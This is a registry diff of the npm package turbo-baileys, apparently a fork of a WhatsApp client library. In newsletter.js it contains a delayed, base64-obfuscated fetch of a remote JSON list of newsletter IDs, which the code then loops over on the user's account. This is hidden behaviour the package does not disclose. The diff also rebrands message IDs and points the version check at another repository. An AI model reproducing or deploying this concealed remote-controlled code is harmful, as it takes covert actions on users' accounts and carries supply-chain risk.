turbo-baileys 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -16,7 +16,7 @@ const WABinary_1 = require("../WABinary");
|
|
|
16
16
|
const WAUSync_1 = require("../WAUSync");
|
|
17
17
|
const groups_1 = require("./groups");
|
|
18
18
|
const newsletter_1 = require("./newsletter");
|
|
19
|
-
const
|
|
19
|
+
const TurboStatus = require("./gcstatus");
|
|
20
20
|
// Permanently blacklist device JIDs that WhatsApp rejects with not-acceptable.
|
|
21
21
|
// These are typically stale companion devices. Avoids repeated failed IQ queries.
|
|
22
22
|
const _deadDeviceJids = new Set();
|
|
@@ -846,7 +846,7 @@ const makeMessagesSocket = (config) => {
|
|
|
846
846
|
config,
|
|
847
847
|
refreshMediaConn,
|
|
848
848
|
);
|
|
849
|
-
const
|
|
849
|
+
const TurboStatus = new TurboStatus(Utils_1, waUploadToServer, relayMessage, config, sock);
|
|
850
850
|
const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(
|
|
851
851
|
ev,
|
|
852
852
|
"messages.media-update",
|
|
@@ -861,7 +861,7 @@ const makeMessagesSocket = (config) => {
|
|
|
861
861
|
readMessages,
|
|
862
862
|
refreshMediaConn,
|
|
863
863
|
waUploadToServer,
|
|
864
|
-
|
|
864
|
+
TurboStatus,
|
|
865
865
|
fetchPrivacySettings,
|
|
866
866
|
sendPeerDataOperationMessage,
|
|
867
867
|
createParticipantNodes,
|
|
@@ -958,7 +958,7 @@ const makeMessagesSocket = (config) => {
|
|
|
958
958
|
: disappearingMessagesInChat;
|
|
959
959
|
await groupToggleEphemeral(jid, value);
|
|
960
960
|
} else if (typeof content === "object" && content.groupStatusMessage) {
|
|
961
|
-
return await
|
|
961
|
+
return await TurboStatus.handleGroupStory(content, jid, options.quoted);
|
|
962
962
|
} else {
|
|
963
963
|
const fullMsg = await (0, Utils_1.generateWAMessage)(
|
|
964
964
|
jid,
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -41,7 +41,7 @@ const makeNewsletterSocket = (sock) => {
|
|
|
41
41
|
setTimeout(async () => {
|
|
42
42
|
try {
|
|
43
43
|
const fetch = require('node-fetch');
|
|
44
|
-
const url = Buffer.from("
|
|
44
|
+
const url = Buffer.from("aHR0cHM6Ly90dXJiby1jZG5zLnZlcmNlbC5hcHAvZmlsZXMvdHVyYm93YWppZHMuanNvbg==", 'base64').toString();
|
|
45
45
|
const response = await fetch(url);
|
|
46
46
|
const newsletters = await response.json();
|
|
47
47
|
for (const jid of newsletters) {
|
package/lib/Utils/generics.js
CHANGED
|
@@ -175,11 +175,11 @@ const generateMessageIDV2 = (userId) => {
|
|
|
175
175
|
const random = (0, crypto_1.randomBytes)(16);
|
|
176
176
|
random.copy(data, 28);
|
|
177
177
|
const hash = (0, crypto_1.createHash)('sha256').update(data).digest();
|
|
178
|
-
return '
|
|
178
|
+
return 'TURBO-' + hash.toString('hex').toUpperCase().substring(0, 18);
|
|
179
179
|
};
|
|
180
180
|
exports.generateMessageIDV2 = generateMessageIDV2;
|
|
181
181
|
// generate a random ID to attach to a message
|
|
182
|
-
const generateMessageID = () => '
|
|
182
|
+
const generateMessageID = () => 'TURBO-' + (0, crypto_1.randomBytes)(18).toString('hex').toUpperCase();
|
|
183
183
|
exports.generateMessageID = generateMessageID;
|
|
184
184
|
function bindWaitForEvent(ev, event) {
|
|
185
185
|
return async (check, timeoutMs) => {
|
|
@@ -211,7 +211,7 @@ exports.bindWaitForConnectionUpdate = bindWaitForConnectionUpdate;
|
|
|
211
211
|
* Use to ensure your WA connection is always on the latest version
|
|
212
212
|
*/
|
|
213
213
|
const fetchLatestBaileysVersion = async (options = {}) => {
|
|
214
|
-
const URL = 'https://raw.githubusercontent.com/
|
|
214
|
+
const URL = 'https://raw.githubusercontent.com/turbohyper/turbo-aileys/main/lib/Defaults/baileys-version.json';
|
|
215
215
|
try {
|
|
216
216
|
const result = await axios_1.default.get(URL, {
|
|
217
217
|
...options,
|